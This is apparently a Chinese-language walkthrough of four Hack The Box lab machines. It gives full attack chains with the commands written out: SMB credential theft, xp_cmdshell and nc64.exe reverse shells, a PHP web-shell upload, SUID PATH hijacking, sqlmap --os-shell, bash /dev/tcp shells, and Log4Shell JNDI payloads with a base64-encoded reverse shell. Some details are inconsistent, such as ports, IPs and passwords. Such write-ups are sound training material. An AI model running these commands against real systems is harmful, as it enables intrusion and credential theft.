写在前面
本文针对Hack the box 靶机TIER2渗透过程进行记录。
Archetype
开启在线靶机,靶机IP为10.129.88.20。
-
端口扫描
扫描命令 sudo nmap -sC -sV 10.129.88.20,
发现1443端口开启了smb服务,所以尝试使用smbclient连接。 -
smbclient连接
命令为:smbclient -N -L 10.129.88.20(-N表示无密码登录,-L可以查看服务器上可用服务)
通过查找发现在backups目录下存在一个配置文件prod.dtsConfig,将其下载本地进行分析。
从中发现用户名与密码为password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc。所以尝试使用其进行mysql数据库登录。
-
mssqlclient连接数据库
工具:impacket
下载地址:https://github.com/SecureAuthCorp/impacket
输入命令:mssqlclient.py ARCHETYPE/sql_svc@10.129.88.20 -windows-auth
(-windows-auth:确认使用windows认证)
通过help 查看可用命令,发现可以使用cmd指令。
尝试执行cmd语句,发现由于安全配置,该命令被关闭。由上述可用命令发现 enable_xp_cmdshell可开启。
发现配置成功。
再次尝试执行cmd语句,执行成功。
-
尝试建立稳定的反弹shell
二进制文件下载地址:https://github.com/int0x33/nc.exe/blob/master/nc64.exe?source=post_page-----a2ddc3557403----------------------
首先在本地开启http服务,sudo python3 -m http.server 80
开启监听端口
尝试使用powershell 的wget命令下载我们的反弹shell文件。
从我们的http服务显示中,目标主机发送了get请求,说明下载成功。
执行所下载的nc64.exe文件
监听端口成功收到反弹shell
-
权限提升
通过whoami命令发现当前用户为archetype\sql_svc,所以尝试提升权限。
工具使用:winPEASx64.exe
下载地址:https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
同样是用powershell 的wget命令下载到目标主机。
执行文件 .\winPEASx64.exe 发现powershell的历史文件consoleHost_history.txt中可能有线索。
打印文件,成功发现账户密码:administrator:MEGACORP_4dm1n!!
-
administrator 登录
在Administrator的桌面下成功找到Flag
Oopsie
开启在线靶机,靶机IP为10.129.133.78。
-
端口扫描
扫描命令 sudo nmap -sC -sV 10.129.133.78,发现目标主机开了22端口的ssh服务和80端口的http服务。
-
http服务查看
打开页面,点击各个按钮与查看源代码后,发现没有连接到其他的url,所以尝试使用burpsuite进行隐藏目录查看。
-
burpsuite目录查看
发现该站点下有个cdn-cgi/login目录。
进入login页面查看,发现是个后台登录界面。再尝试弱密码如admin:admin root:admin和简单的sql注入发现无法登录。
发现还有一个选项 login as Guest,点击后页面如下,发现有个uploads选项。
点击后提示需要admin权限,所以尝试修改cookie。
-
cookie修改
点击account,发现显示了ID和用户名,同时url变为了http://10.129.239.233/cdn-cgi/login/admin.php?content=accounts&id=2。尝试修改id值会回显什么。
将id=1后,页面返回了admin的信息。所以尝试修改cookie,以admin权限登录。
页面右键选择inspect element,cookies在storage菜单下。
将value中的guest:2233修改为admin:34322,点击uploads,发现成功进入。
-
上传reverse shell
kali在**/usr/share/webshells/**目录下有相关的shell文件,选用PHP中的php-reverse-shell.php。首先需要对文件进行修改,将ip改为本机IP,端口改为想要监听的端口。
然后需要找到uploads在哪个目录下,从而执行我们上传的文件。
通过gobuster进行目录爆破,执行命令:gobuster dir --url http://10.129.239.233/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
发现就在uploads目录下,但是进入该目录下缺提示没有权限访问。
尝试是否可以直接运行该目录下的文件,首先开启监听端口
url输入http://10.129.239.233/uploads/php-reverse-shell.php,成功反弹shell。
使用**python3 -c’import pty;pty.spawn(“/bin/bash”)'**可以使得shell更加完整。
- 横向移动
通过查找网站中的文件发现用户名与密码robert:M3g4C0rpUs3r!(说明:由于之前端口扫描发现使用的是apache,其默认路径为/var/www/html,所以优先寻找该目录下的文件)
通过 cat /etc/passwd 命令查看当前是否存在robert用户,发现果然存在(倒数第二个)。
尝试切换用户,横向移动成功。
回到robert更目录找到user.txt
- 权限提升
通过id 查看(显示用户的ID,以及所属群组的ID)。发现robert属于bugtracker。
通过find / -group bugtracker 2>/dev/null 命令查看bugtracker可以操作的文件。发现一个同名文件bugtracker。
发现该文件的所有者为root,且权限带有s,表示SUID (Set owner User ID)。说明该文件执行时是以所有者的身份(即root)运行的。
尝试使用该文件,提示输入bug id,这里随便输入一个1。
再次输入一个数字,发现他是使用cat命令进行打印,如果没有该编号的报告就会报错。这里发现所使用的cat命令没有进行路径指定,所以可以尝试添加环境变量执行我们想要执行的cat。
首先,在 /tmp目录下创建一个cat文件写入 /bin/sh,并添加可执行权限。
添加环境变量 tmp。
再次执行bugtracker,且id填写任意id,权限成功提升为root。
在root文件夹下成功找到Flag
Vaccine
开启在线靶机,靶机IP为10.129.127.22。
-
端口扫描
扫描命令:sudo nmap -sC -sV 10.129.127.22。开启21端口ftp服务、22端口的ssh以及80http服务
-
ftp连接
输入命令:ftp 10.129.127.22,用户名为anonymous,密码为空,登录成功。发现有个名为backup.zip的压缩文件,下载到本地进行分析。
解压backup文件,提示需要password。在尝试弱密码失败后,使用john the ripper暴力破解。
先将backup.zip 哈希化。
输入命令 john -wordlist=/usr/share/wordlists/rockyou.txt hashes进行破解。破解密码为741852963
重新解压backup.zip文件,输入破解密码741852963,解压成功。
打印index.php,发现用户名与密码 admin:2cb42f8734ea607eefed3b70af13bbd3。
但是密码应该时被hash过,所以尝试破解。
首先使用hashid判断类型,尝试用MD5破解。
写入文件hash.txt
输入命令:hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt 进行破解。破解结果为:qwerty789
(参数说明:-a 表示攻击模式,0表示暴力破解;-m表示hash类型,0表示MD5)
-
登录后台
输入admin:qwerty789尝试登录
登录成功
-
sql注入
在搜索框输入1后发现url变为http://10.129.154.151/dashboard.php?search=1,可能存在SQL注入。
工具使用:sqlmap
由于是登录后的界面所以需要正确cookies,否则无法访问。
执行命令:sqlmap -u ‘http://10.129.154.151/dashboard.php?search=any+query’ --cookie=“PHPSESSID=6r49qb1ev7u71hf74drkg9p0qq”
显示存在SQL注入,修改命令:sqlmap -u ‘http://10.129.154.151/dashboard.php?search=any+query’ --cookie=“PHPSESSID=6r49qb1ev7u71hf74drkg9p0qq” --os-shell 获取shell
成功获取shell。
为了使shell更加稳定和可交互,在本地开启监听服务
原shell执行:bash -c “bash -i >& /dev/tcp/{your_IP}/443 0>&1”
监听端口成功反弹shell(输入:python3 -c 'import pty;pty.spawn(“/bin/bash”)'使得shell可完整交互)
用户flag成功找到。
- 权限提升
通过sudo -l 查看当前用户权限,发现需要密码。
先看网站目录下有什么发现
在dashboard.php中我们找到了用户名与密码,postgres:P@s5w0rd!
- 重新输入sudo -l 密码输入P@s5w0rd!。发现postgres用户可以执行**/bin/vi /etc/postgresql/11/main/pg_hba.conf**
这里会发现shell会自动断开,由于我们知道了用户名与密码,所以我们尝试更加稳定的ssh连接。
尝试通过vi 建立shell(详情参考:https://gtfobins.github.io/gtfobins/vi/#sudo)
输入:sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf -c ‘:!/bin/sh’/dev/null,提示没有权限。
所以先进入pg_hba.conf文件,输入:sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf。
然后键盘输入**: set shell=/bin/sh回车再输入:: shell**,成功获取root权限。
成功获取root Flag
Unified
开启在线靶机,靶机IP为10.129.208.78。
-
端口扫描
扫描命令:sudo nmap -sC -sV 10.129.96.149
-
查看web页面
输入10.129.96.149:8443,发现使用的使unifi 6.4.54的登陆界面。google unifi 6.4.54可以发现存在 CVE-2021-44228 漏洞。
(详情参考:https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi)
-
漏洞利用
首先使用burpsuite设置浏览器代理。(注:此代理设置为firefox浏览器过程)
找到“代理”选项,选择“设置”。
选择手代理配置,该ip地址与端口应与burpsuite一致(详情参考链接: link)
代理成功后,返回unifi登陆界面,开启burpsuite interception
在页面输入任意用户名密码(此处输入为test:test)
burpsuite成功拦截到流量信息为:
选择send to Repeater,或者快捷键 Ctrl+R。
修改remember字段的值为:“${jndi:ldap://{本机IP}/whatever}”点击send发送。Response显示"api.err.InvalidPayload",说明Payload被执行了只是不存在。
然后使用tcpdump开启389端口监听LDAP连接,
重新点击send。发现成功接收到LDAP连接信息。
-
构建payload,实现远程代码执行
工具使用:Open-JDK;Maven;rogue-jndi
(下载命令:sudo apt install openjdk-11-jdk -y ;sudo apt-get install maven;git clone https://github.com/veracode-research/rogue-jndi)
完成上述下载后进入rogue-jndi目录执行mvn package(注:需要科学上网,不然可能会编译失败)
编译成功后会在生成RogueJndi-1.1.jar文件在 /target 目录下。
然后执行echo ‘bash -c bash -i >&/dev/tcp/10.10.16.5/1234 0>&1’ |base64(10.10.16.5为本机IP,1234为接受shell端口)
在rogue-jndi目录下,执行:java -jar target/RogueJndi-1.1.jar --command “bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuNS8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}” --hostname “10.10.16.5”
开启监听端口。
回到burpsuite,修改remember字段值为:“${jndi:ldap://10.10.16.5:1389/o=tomcat}”,点击send
此时我们开启的服务接收到信息
成功收到shell,输入:script /dev/null -cbash,使shell更加完整。
找到user.txt flag
-
权限提升
由于UniFi默认使用MongoDB作为数据库,所以我们先查看MongoDB是否运行。
(详情参考:https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.html)
输入:ps aux | grep mongo,发现MongoDB运行在27117端口。
通过命令:mongo --port 27117 ace --eval “db.admin.find().forEach(printjson);查询到administrator相关信息,发现x_shadow字段很大概率是哈希加密过的密码,所以尝试破解。
通过hashid 发现其为SHA-512加密,尝试暴力破解失败。换一种思路,修改其x_shadow的值为我们设定的密码。
使用工具:mkpasswd
输入命令:mkpasswd -m sha-512 Password1111
输入命令:mongo --port 27117 ace --eval 'db.admin.update({”_id":ObjectId(“61ce278f46e0fb0012d47ee4”)},{$set:{“x_shadow”:“ 6 6 6ts6U3ZTuaNvRemqd$rJQZh/.7SLFoLe5Wjh0xbnbkir82qY/lFuzUsUAJCrRcbjJQ/.SA/wxfM1PweMEBSYdFrrw4P3QFyrSoCBQHJ/”}})’
再次输入mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);查看发现修改成功。
返回unifi登陆界面输入用户名密码:administrator:passwd1111,登陆成功。
通过查找发现在settings->site中允许ssh连接,并且得到用户名与密码root:NotACrackablePassword4U2022。
所以我们尝试以root用户登陆目标主机,登陆成功。找到root.txt Flag